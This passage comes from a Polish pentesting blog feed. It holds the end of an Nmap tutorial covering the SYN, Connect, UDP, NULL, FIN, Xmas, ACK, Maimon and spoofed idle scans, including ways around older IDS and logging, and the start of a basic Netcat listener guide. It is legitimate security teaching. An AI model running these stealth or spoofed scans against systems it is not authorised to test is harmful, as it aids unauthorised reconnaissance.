<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/12/jak-skanowac-porty-nmapem.png"><img loading="lazy" decoding="async" width="1024" height="480" src="https://pentestuj.pl/wp-content/uploads/2024/12/jak-skanowac-porty-nmapem.png" alt="jak skanować porty nmapem" class="wp-image-16311" srcset="https://pentestuj.pl/wp-content/uploads/2024/12/jak-skanowac-porty-nmapem.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/12/jak-skanowac-porty-nmapem-300x141.png 300w, https://pentestuj.pl/wp-content/uploads/2024/12/jak-skanowac-porty-nmapem-768x360.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="16311" /></a></figure>



<p class="wp-block-paragraph">Do zarządzania sesjami wykorzystuje się następujące flagi:</p>



<ul class="wp-block-list">
<li><strong>SYN (Synchronize)</strong> – inicjalizuje połączenie między klientem a serwerem. </li>



<li><strong>ACK (Acknowledge)</strong> – potwierdza otrzymanie pakietu danych.</li>



<li><strong>FIN (Finish)</strong> – sygnalizuje zamiar zakończenia połączenia.</li>



<li><strong>RST (Reset)</strong> – natychmiast zrywa połączenie.</li>



<li><strong>PSH (Push)</strong> – wymusza natychmiastowe przekazanie danych do aplikacji odbiorcy.</li>



<li><strong>URG (Urgent)</strong> – oznacza, że przesyłane dane mają priorytet i powinny być natychmiast przetworzone.</li>
</ul>



<p class="wp-block-paragraph">Podczas skanowania TCP SYN połączenie nie jest otwierane. Klient wysyła do serwera tylko pakiet SYN. Jeśli serwer odpowie komunikatem SYN i ACK, oznacza to, że port jest otwarty. </p>



<pre class="wp-block-code"><code class="">sudo nmap -sS &lt;IP_celu&gt;</code></pre>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-syn-ack.png"><img loading="lazy" decoding="async" width="1024" height="480" src="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-syn-ack.png" alt="nmap skanowanie portów syn ack" class="wp-image-15334" srcset="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-syn-ack.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-syn-ack-300x141.png 300w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-syn-ack-768x360.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15334" /></a></figure>



<p class="wp-block-paragraph">Natomiast serwer jeśli odpowie komunikatem RST port jest oznaczany jako zamknięty. </p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-syn-ack-2.png"><img loading="lazy" decoding="async" width="1024" height="480" src="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-syn-ack-2.png" alt="nmap skanowanie portów syn ack" class="wp-image-15333" srcset="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-syn-ack-2.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-syn-ack-2-300x141.png 300w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-syn-ack-2-768x360.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15333" /></a></figure>



<p class="wp-block-paragraph">W przypadku gdy serwer nie odpowiada, port jest oznaczony jako filtrowany.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/12/skanowanie-portow-nmap-syn.png"><img loading="lazy" decoding="async" width="1024" height="480" src="https://pentestuj.pl/wp-content/uploads/2024/12/skanowanie-portow-nmap-syn.png" alt="nmap skanowanie portów syn ack" class="wp-image-15345" srcset="https://pentestuj.pl/wp-content/uploads/2024/12/skanowanie-portow-nmap-syn.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/12/skanowanie-portow-nmap-syn-300x141.png 300w, https://pentestuj.pl/wp-content/uploads/2024/12/skanowanie-portow-nmap-syn-768x360.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15345" /></a></figure>



<p class="wp-block-paragraph"><strong>Zalety skanowania SYN:</strong></p>



<ul class="wp-block-list">
<li>Można używać do omijania starszych IDS (systemów wykrywania włamań), ponieważ szukają one pełnego trój-etapowego uzgadniania (3-Way Handshake).</li>



<li>Skanowanie  TCP SYN często nie jest zapisywane w logach.</li>



<li>Jest szybsze od skanowania TCP Connect (ten typ skanowania jest opisany w kolejnym punkcie), ponieważ nie jest ustanawiane pełne 3-Way Handshake.</li>
</ul>



<p class="wp-block-paragraph"><strong>Wady skanowania SYN:</strong></p>



<ul class="wp-block-list">
<li>Wymagane są uprawnienia root (w systemie Linux). Jest to spowodowane tym, że skanowanie SYN wymaga możliwości tworzenia surowych pakietów (raw), w przeciwieństwie do pełnego uzgadniania TCP. Pakiety raw może tworzyć tylko użytkownik z uprawnieniami root. Należy wspomnieć o tym, że skanowanie SYN można również uruchomić, nadając programowi Nmap uprawnienia CAP_NET_RAW, CAP_NET_ADMIN i CAP_NET_BIND_SERVICE. Niestety takie podejście wymaga odpowiedniej konfiguracji i może wiązać się z ryzykiem w zakresie bezpieczeństwa systemu.</li>
</ul>



<p class="wp-block-paragraph">Skanowanie SYN jest domyślnym skanowaniem używanym przez Nmap, jeśli jest uruchamiane z uprawnieniami root. Natomiast, jeśli skanowanie jest uruchamiane bez uprawnień sroot, Nmap domyślnie używa skanowania TCP Connect, które opisuję w kolejnym punkcie.</p>



<h3 class="wp-block-heading">Skanowanie TCP Connect (-sT)</h3>



<p class="wp-block-paragraph">Ten typ skanowania jest domyślny w przypadku gdy nie jest możliwa metoda TCP SYN. Podczas stanowania TCP Connect Nmap nie wysyła pakietów raw, tylko prosi system o nawiązanie połączenia z badanym hostem za pomocą wywołania funkcji systemowej connect(). Niestety ta metoda jest dużo mniej efektywna od skanowania TCP SYN. Wywołanie connect() w przeciwieństwie do TCP SYN jest wysokopoziomowe i otwiera pełne połączenie (3-Way Handshake). W konsekwencji Nmap musi wysłać więcej pakietów, żeby uzyskać te same informacje. Ponadto zapytania mogą zostać zapisane w logach badanego systemu.</p>



<p class="wp-block-paragraph">Jeśli badane urządzenie odpowie flagą SYN/ACK, Nmap kończy procedurę uzgadniania, odsyłając pakiet TCP z ustawioną flagą ACK. Taki port jest oznaczany jako otwarty. Natomiast jeśli badane urządzenie odeśle pakiet z flagą RST, Nmap oznacza port jako zamknięty. W przypadku gdy urządzenie nie odpowiada, oznacza to, że port jest chroniony przez zaporę i dlatego jest uważany za filtrowany.</p>



<pre class="wp-block-code"><code class="">sudo nmap -sT &lt;IP_celu&gt;</code></pre>



<p class="wp-block-paragraph">Należy wiedzieć, że uzyskane wyniki mogą być zafałszowane. Bardzo łatwo jest skonfigurować zaporę tak, aby odpowiadała pakietem z flagą RST. Przez takie ustawienie Nmap oznaczy port jako zamknięty, pomimo że w rzeczywistości może być otwarty.</p>



<h3 class="wp-block-heading">Skanowanie UDP (-sU)</h3>



<p class="wp-block-paragraph">W przeciwieństwie do TCP, połączenia UDP są bezstanowe. Oznacza to, że zamiast inicjować połączenie za pomocą 3-Way Handshake, połączenia UDP polegają na wysyłaniu pakietów do portu docelowego bez czekania na odpowiedź. To sprawia, że ​​UDP jest doskonałe dla połączeń, dla których bardziej liczy się szybkość niż jakość (np. połączenia wideo, gry online, itp.). Niestety brak uzgadniania sprawia, że skanowanie UDP jest znacznie trudniejsze i wolniejsze.</p>



<p class="wp-block-paragraph">Gdy Nmap otrzyma odpowiedź z badanego portu (jest to dość nietypowe), oznacza go jako otwarty. W przypadku braku odpowiedzi oznacza port jako otwarty|filtrowany. Natomiast jeśli port jest zamknięty powinien odpowiedzieć pakietem ICMP z informacją, że jest niedostępny.</p>



<p class="wp-block-paragraph">Nmap podczas skanowania UDP standardowo wysyła puste żądania. Jednak w przypadku standardowych portów, które są przypisane do znanych usług, Nmap wysyła specjalnie przygotowane ładunki specyficzne dla danego protokołu. Dzięki temu istnieje większe prawdopodobieństwo, że otrzymane wyniki będą dokładniejsze.</p>



<p class="wp-block-paragraph">Z tego właśnie powodu warto na początek ograniczyć skanowanie do najczęściej używanych portów:</p>



<pre class="wp-block-code"><code class="">nmap -sU -F &lt;IP_celu></code></pre>



<p class="wp-block-paragraph">Metody skanowania, które są przedstawione w kolejnych punktach są mniej popularne, jednak warto je znać, ponieważ te typy skanowania są jeszcze bardziej dyskretne niż skanowanie TCP SYN. Bardzo często nie generują odpowiedzi, co utrudnia ich wykrycie przez systemy IDS/IPS.</p>



<h3 class="wp-block-heading">Skanowanie NULL (-sN)</h3>



<p class="wp-block-paragraph">Podczas skanowania NULL Nmap wysyła pakiet bez żadnej flagi. Taki pakiet, gdy dotrze do otwartego portu nie wywoła żadnej odpowiedzi. Tak więc, jeśli Nmap wyśle taki pakiet i nie otrzyma żadnej odpowiedzi, oznacza badany port jako otwarty lub jako blokowany przez zaporę sieciową.</p>



<pre class="wp-block-code"><code class="">nmap -sN IP_CELU</code></pre>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-null-port-otwarty.png"><img loading="lazy" decoding="async" width="1024" height="480" src="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-null-port-otwarty.png" alt="nmap skanowanie portów null" class="wp-image-15403" srcset="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-null-port-otwarty.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-null-port-otwarty-300x141.png 300w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-null-port-otwarty-768x360.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15403" /></a></figure>



<p class="wp-block-paragraph">Jeśli badany cel odpowie pakietem z flagą RST, oznacza to, że dany port jest zamknięty.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-null-rst-1.png"><img loading="lazy" decoding="async" width="1024" height="480" src="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-null-rst-1.png" alt="nmap skanowanie portów null" class="wp-image-15388" srcset="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-null-rst-1.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-null-rst-1-300x141.png 300w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-null-rst-1-768x360.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15388" /></a></figure>



<p class="wp-block-paragraph">Skanowanie NULL opiera się na braku odpowiedzi przez badany cel. Niestety Nmap nie może wtedy dokładnie określić, czy port jest otwarty czy chroniony przez zaporę sieciową (filtrowany).</p>



<p class="wp-block-paragraph">Poniżej znajduje się przykład skanowania NULL. Ponieważ ta metoda skanowania opiera się na braku odpowiedzi, Nmap nie był w stanie określić czy port jest filtrowany czy otwarty. Na poniższym zrzucie widać, że 8 portów zostało oznaczonych jako otwarty|filtrowany.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-null.webp"><img loading="lazy" decoding="async" width="541" height="288" src="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-null.webp" alt="nmap skanowanie NULL" class="wp-image-16272" srcset="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-null.webp 541w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-null-300x160.webp 300w" sizes="auto, (max-width: 541px) 100vw, 541px" data-mwl-img-id="16272" /></a></figure>



<h3 class="wp-block-heading">Skanowanie FIN (-sF)</h3>



<p class="wp-block-paragraph">Podczas tego typu skanowania Nmap wysyła pakiet TCP, w którym ustawiona jest jedynie flaga FIN (bez innych flag). Podobnie jak w przypadku skanowania NULL, w przypadku braku odpowiedzi, Nmap nie może określić, czy port jest otwarty, czy filtrowany przez zaporę sieciową. </p>



<pre class="wp-block-code"><code class="">nmap -sF IP_CELU</code></pre>



<p class="wp-block-paragraph">Poniżej znajduje się przykładowe skanowanie FIN. Wyniki są bardzo podobne jak w przypadku skanowania NULL. Tu również Nmap nie był w stanie rozróżnić czy port jest otwarty czy filtrowany, dlatego oznaczył porty jako otwarty|filtrowany. Jednak w skanowaniu FIN Nmap znalazł o jeden port więcej niż w przypadku skanowania NULL. Warto zaznaczyć, że badany był ten sam adres IP.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-fin.webp"><img loading="lazy" decoding="async" width="543" height="309" src="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-fin.webp" alt="nmap skanowanie FIN" class="wp-image-16275" srcset="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-fin.webp 543w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-fin-300x171.webp 300w" sizes="auto, (max-width: 543px) 100vw, 543px" data-mwl-img-id="16275" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-fin.png"><img loading="lazy" decoding="async" width="1024" height="480" src="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-fin.png" alt="nmap skanowanie portów FIN" class="wp-image-15399" srcset="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-fin.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-fin-300x141.png 300w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-fin-768x360.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15399" /></a></figure>



<p class="wp-block-paragraph">W przypadku gdy badany cel odpowie pakietem z flagą RST, oznacza to, że port jest zamknięty. </p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-fin-2.png"><img loading="lazy" decoding="async" width="1024" height="480" src="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-fin-2.png" alt="nmap skanowanie portów FIN" class="wp-image-15398" srcset="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-fin-2.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-fin-2-300x141.png 300w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-fin-2-768x360.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15398" /></a></figure>



<p class="wp-block-paragraph">Należy jednak zdawać sobie sprawę z tego, że niektóre zapory sieciowe mogą być ustawione tak, że odrzucają ruch bez wysyłania pakietu z flagą RST.</p>



<h3 class="wp-block-heading">Skanowanie Xmas</h3>



<p class="wp-block-paragraph">Podczas skanowania Xmas Nmap wysyła pakiet z ustawionymi flagami FIN, PSH oraz URG. Podobnie jak w przypadku skanowania NULL i FIN, jeśli odebrany zostanie pakiet RST, oznacza to, że port jest zamknięty. W przeciwnym razie port jest oznaczany jako otwarty lub filtrowany.</p>



<p class="wp-block-paragraph">Skanowanie Xmas jest skuteczne głównie w przypadku zapór bezstanowych. Bezstanowe zapory nie analizują pełnej zawartości pakietów, a jedynie sprawdzają, czy pakiety spełniają ogólne reguły. Dzięki temu, że pakiet Xmas zawiera dodatkowe flagi PSH i URG, może przejść przez zapory, które nie sprawdzają dokładnie tych flag. Nmap wykorzystuje ten mechanizm, aby obejść zaporę, która nie analizuje szczegółowo ustawienia flag w pakietach.</p>



<p class="wp-block-paragraph">Z kolei w przypadku zapór stanowych, które analizują stan połączenia i kontekst wcześniejszych pakietów, skanowanie Xmas jest zazwyczaj nieskuteczne. Zapora stanowa może wykryć nietypowe ustawienie flag i skutecznie zablokować taki pakiet.</p>



<pre class="wp-block-code"><code class="">nmap -sX IP_CELU</code></pre>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-xmas-1.png"><img loading="lazy" decoding="async" width="1024" height="480" src="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-xmas-1.png" alt="skanowanie xmas nmap" class="wp-image-16310" srcset="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-xmas-1.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-xmas-1-300x141.png 300w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-xmas-1-768x360.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="16310" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-xmas-2-1.png"><img loading="lazy" decoding="async" width="1024" height="480" src="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-xmas-2-1.png" alt="skanowanie xmas nmap" class="wp-image-16309" srcset="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-xmas-2-1.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-xmas-2-1-300x141.png 300w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-xmas-2-1-768x360.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="16309" /></a></figure>



<p class="wp-block-paragraph">Na poniższym zrzucie znajduje się wynik przykładowego skanowania Xmas. Rezultat jest podobny jak w przypadku skanowania FIN.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-xmass.webp"><img loading="lazy" decoding="async" width="545" height="311" src="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-xmass.webp" alt="nmap skanowanie xmass" class="wp-image-16282" srcset="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-xmass.webp 545w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-xmass-300x171.webp 300w" sizes="auto, (max-width: 545px) 100vw, 545px" data-mwl-img-id="16282" /></a></figure>



<h3 class="wp-block-heading">TCP ACK (-sA)</h3>



<p class="wp-block-paragraph">Podczas tej metody skanowania Nmap wysyła pakiet z flagą ACK. Badany cel, niezależnie od tego, czy port jest otwarty, czy zamknięty, odpowiada pakietem z flagą RST. Dzieje się tak, ponieważ pakiet z flagą ACK powinien być wysyłany w odpowiedzi na wcześniej odebrany pakiet TCP, aby potwierdzić jego odbiór. Z tego powodu ten typ skanowania nie pozwala ustalić, czy port jest otwarty, ponieważ zarówno porty otwarte, jak i zamknięte mogą odpowiedzieć pakietem RST. Metoda ta jest jednak użyteczna w celu wykrywania zapór sieciowych oraz sprawdzania, czy dany port jest filtrowany.</p>



<pre class="wp-block-code"><code class="">nmap -sA IP_CELU</code></pre>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/12/skanowanie-ack-nmap.png"><img loading="lazy" decoding="async" width="1024" height="480" src="https://pentestuj.pl/wp-content/uploads/2024/12/skanowanie-ack-nmap.png" alt="skanowanie ack nmap" class="wp-image-15420" srcset="https://pentestuj.pl/wp-content/uploads/2024/12/skanowanie-ack-nmap.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/12/skanowanie-ack-nmap-300x141.png 300w, https://pentestuj.pl/wp-content/uploads/2024/12/skanowanie-ack-nmap-768x360.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15420" /></a></figure>



<h3 class="wp-block-heading">TCP Maimon Scan (-sM)</h3>



<p class="wp-block-paragraph">Uriel Maimon po raz pierwszy opisał ten typ skanowania w 1996 r. W metodzie tej Nmap wysyła do badanego portu pakiet z flagą FIN i ACK. Wyczekiwana jest odpowiedź z flagą RST. Wtedy wiadomo, że port jest zamknięty. W przypadku braku odpowiedzi port jest oznaczany jako otwarty lub filtrowany. Niestety w nowoczesnych sieciach ten typ skanowania nie zadziała. Także należy to traktować bardziej jako ciekawostkę 🙂</p>



<pre class="wp-block-code"><code class="">nmap -sM IP_CELU</code></pre>



<h3 class="wp-block-heading">Idle Scan</h3>



<p class="wp-block-paragraph">Idle scan to zaawansowana technika skanowania w Nmap, która pozwala na przeprowadzenie skanowania portów bez ujawniania prawdziwego adresu IP atakującego. Jest to metoda całkowicie pasywna, ponieważ wykorzystuje tzw. host zombie do wykonania skanowania. Poniżej znajdziesz opis działania tej metody skanowania.</p>



<p class="wp-block-paragraph">W pierwszej kolejności atakujący wybiera host w sieci, który ma przewidywalną sekwencję identyfikatorów IP. Najlepiej, jeśli jest to host nieaktywny (stąd nazwa &#8222;idle&#8221; – bezczynny). Następnie wysyła pakiet SYN/ACK do hosta zombie i przechwytuje zwrócony numer IP ID:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-idle-scan-1.png"><img loading="lazy" decoding="async" width="1024" height="379" src="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-idle-scan-1.png" alt="nmap idle scan" class="wp-image-16330" srcset="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-idle-scan-1.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-idle-scan-1-300x111.png 300w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-idle-scan-1-768x284.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="16330" /></a></figure>



<p class="wp-block-paragraph">Następnie atakujący podmienia adres źródłowy pakietu na adres IP hosta zombie i wysyła pakiety SYN do celu:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-idle-scan-2.png"><img loading="lazy" decoding="async" width="1024" height="379" src="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-idle-scan-2.png" alt="nmap idle scan" class="wp-image-16331" srcset="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-idle-scan-2.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-idle-scan-2-300x111.png 300w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-idle-scan-2-768x284.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="16331" /></a></figure>



<p class="wp-block-paragraph">Cel odpowiada w zależności od stanu portu:</p>



<ul class="wp-block-list">
<li>Jeśli port jest <strong>otwarty</strong>, host zombie otrzyma pakiet SYN/ACK, na który odpowie pakietem RST.</li>



<li>Jeśli port jest <strong>zamknięty</strong>, host zombie nic nie otrzyma.</li>
</ul>



<p class="wp-block-paragraph">Atakujący ponownie odczytuje IP ID hosta zombie. Jeśli numer wzrósł o więcej niż jeden, oznacza to, że host zombie wysłał dodatkowy pakiet RST, co wskazuje, że port był otwarty:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-idle-scan-3.png"><img loading="lazy" decoding="async" width="1024" height="379" src="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-idle-scan-3.png" alt="nmap idle scan" class="wp-image-16332" srcset="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-idle-scan-3.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-idle-scan-3-300x111.png 300w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-idle-scan-3-768x284.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="16332" /></a></figure>



<h2 class="wp-block-heading">Podsumowanie</h2>



<p class="wp-block-paragraph">Nmap to potężne narzędzie, które pozwala na analizę sieci i wykrywanie otwartych portów. Dzięki różnym technikom skanowania możemy uzyskać cenne informacje o dostępnych usługach i zabezpieczeniach danej maszyny. Warto jednak pamiętać, że wyniki skanowania mogą być zafałszowane przez firewalle i inne mechanizmy obronne. Nmap jest nieocenionym narzędziem zarówno dla administratorów systemów, jak i specjalistów ds. bezpieczeństwa, ale jego skuteczność w dużej mierze zależy od naszej wiedzy, a także umiejętności interpretacji wyników.</p>
<p>Artykuł <a href="https://pentestuj.pl/nmap-jak-sprawdzic-otwarte-porty/">Nmap &#8211; jak sprawdzić otwarte porty | skanowanie portów</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://pentestuj.pl/nmap-jak-sprawdzic-otwarte-porty/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Netcat &#8211; czym jest i jak go używać</title>
		<link>https://pentestuj.pl/netcat-czym-jest-i-jak-go-uzywac/</link>
					<comments>https://pentestuj.pl/netcat-czym-jest-i-jak-go-uzywac/#respond</comments>
		
		<dc:creator><![CDATA[MonikaSz]]></dc:creator>
		<pubDate>Fri, 11 Apr 2025 06:00:01 +0000</pubDate>
				<category><![CDATA[Testy bezpieczeństwa]]></category>
		<guid isPermaLink="false">https://pentestuj.pl/?p=16089</guid>

					<description><![CDATA[<p>Netcat jest to uniwersalne narzędzie sieciowe, które powinno znaleźć się w arsenale każdego administratora, pentestera czy entuzjasty bezpieczeństwa. Umożliwia ustanawianie połączeń TCP oraz UDP, przesyłanie plików, skanowanie portów, a także testowanie połączeń. Netcat może pracować zarówno w trybie serwera jak i klienta. W artykule tym przyjrzymy się bliżej możliwościom i zastosowaniom Netcata. Czym jest Netcat [&#8230;]</p>
<p>Artykuł <a href="https://pentestuj.pl/netcat-czym-jest-i-jak-go-uzywac/">Netcat &#8211; czym jest i jak go używać</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Netcat jest to uniwersalne narzędzie sieciowe, które powinno znaleźć się w arsenale każdego administratora, pentestera czy entuzjasty bezpieczeństwa. Umożliwia ustanawianie połączeń TCP oraz UDP, przesyłanie plików, skanowanie portów, a także testowanie połączeń. Netcat może pracować zarówno w trybie serwera jak i klienta. W artykule tym przyjrzymy się bliżej możliwościom i zastosowaniom Netcata.</p>



<h2 class="wp-block-heading">Czym jest Netcat</h2>



<p class="wp-block-paragraph">Netcat to wszechstronne narzędzie sieciowe do testowania połączeń i komunikacji, a także prosty serwer. Netcat działa na systemach Linux, Windows oraz MacOS. Jest często nazywany &#8222;szwajcarskim scyzorykiem sieciowym&#8221; ze względu na możliwość wykonywania różnych zadań związanych z siecią. Netcat może być używany do zadań takich jak:</p>



<ul class="wp-block-list">
<li><strong>Ustanawianie połączeń TCP i UDP</strong> &#8211; Netcat pozwala na inicjowanie połączeń zdalnych oraz nasłuchiwanie na określonych portach, co umożliwia komunikację pomiędzy hostami.</li>



<li><strong>Przesyłanie plików</strong> &#8211; Netcat może być używany do przesyłania plików pomiędzy hostami. Należy jednak zaznaczyć, że Netcat nie oferuje wbudowanego mechanizmu zabezpieczania przesyłanych danych, dlatego nie jest zalecany do bezpiecznego przesyłania plików.</li>



<li><strong>Skanowanie portów</strong> &#8211; Netcat umożliwia szybkie sprawdzenie, które porty na docelowym urządzeniu są otwarte, co jest przydatne podczas testów penetracyjnych. Jednak nie jest to jego główna funkcja, dlatego do bardziej zaawansowanego skanowania lepiej używać<strong> </strong>Nmapa.</li>



<li><strong>Tworzenie serwerów nasłuchujących</strong> &#8211; narzędzie może działać jako prosty serwer, który nasłuchuje na określonym porcie i obsługuje połączenia przychodzące. Warto dodać, że w tej roli Netcat może być używany do tworzenia prostych backdoorów, co bywa wykorzystywane zarówno w testach penetracyjnych, jak i przez atakujących.</li>



<li><strong>Diagnostyka, debugowanie</strong> <strong>i testy penetracyjne</strong> &#8211; Netcat jest pomocny w diagnozowaniu problemów z połączeniami, w testowaniu konfiguracji sieciowej oraz w testach penetracyjnych.</li>
</ul>



<h2 class="wp-block-heading">Jak ustanowić połączenie za pomocą Netcat</h2>



<p class="wp-block-paragraph">Netcat umożliwia tworzenie połączeń TCP lub UDP między dwoma hostami, gdzie jeden działa jako serwer nasłuchujący, a drugi jako klient, który inicjuje połączenie. </p>



<h3 class="wp-block-heading">Jak ustanowić połączenie TCP</h3>



<p class="wp-block-paragraph">Skonfiguruj serwer nasłuchujący:</p>



<p class="wp-block-paragraph">Na komputerze, który będzie nasłuchiwał połączeń (serwer), uruchom Netcat w trybie nasłuchu na określonym porcie:</p>



<pre class="wp-block-code"><code class="">nc -l -<strong>p </strong>&lt;numer portu&gt;</code></pre>



<p class="wp-block-paragraph">gdzie:</p>



<ul class="wp-block-list">
<li> <strong><code>-l</code></strong> &#8211; włącza tryb nasłuchu (listening).</li>



<li><code><strong>-p</strong> <strong>&lt;numer portu&gt;</strong></code> &#8211; określa numer portu (np. 5555).</li>
</ul>



<p class="wp-block-paragraph">Połącz się z serwerem jako klient:</p>



<pre class="wp-block-code"><code class="">nc &lt;adres IP serwera&gt; &lt;numer portu&gt;</code></pre>



<p class="wp-block-paragraph">gdzie:</p>



<ul class="wp-block-list">
<li><strong><code>&lt;adres IP serwera&gt;</code></strong> &#8211; adres IP maszyny, na której uruchomiono Netcat w trybie nasłuchu.</li>



<li><strong><code>&lt;numer portu&gt;</code></strong> &#8211; port, na którym nasłuchuje serwer.</li>
</ul>



<h3 class="wp-block-heading">Jak ustanowić połączenie UDP</h3>



<p class="wp-block-paragraph">Netcat obsługuje nie tylko połączenia TCP, ale także UDP. Oto, jak ustanowić komunikację UDP za pomocą Netcat.</p>



<p class="wp-block-paragraph">Skonfiguruj serwer nasłuchujący:</p>



<pre class="wp-block-code"><code class="">nc -u -l -p &lt;numer portu&gt;</code></pre>



<p class="wp-block-paragraph">Polecenie jest prawie takie samo jak przy TCP. Trzeba tylko dodać flagę <code>-u</code>.</p>



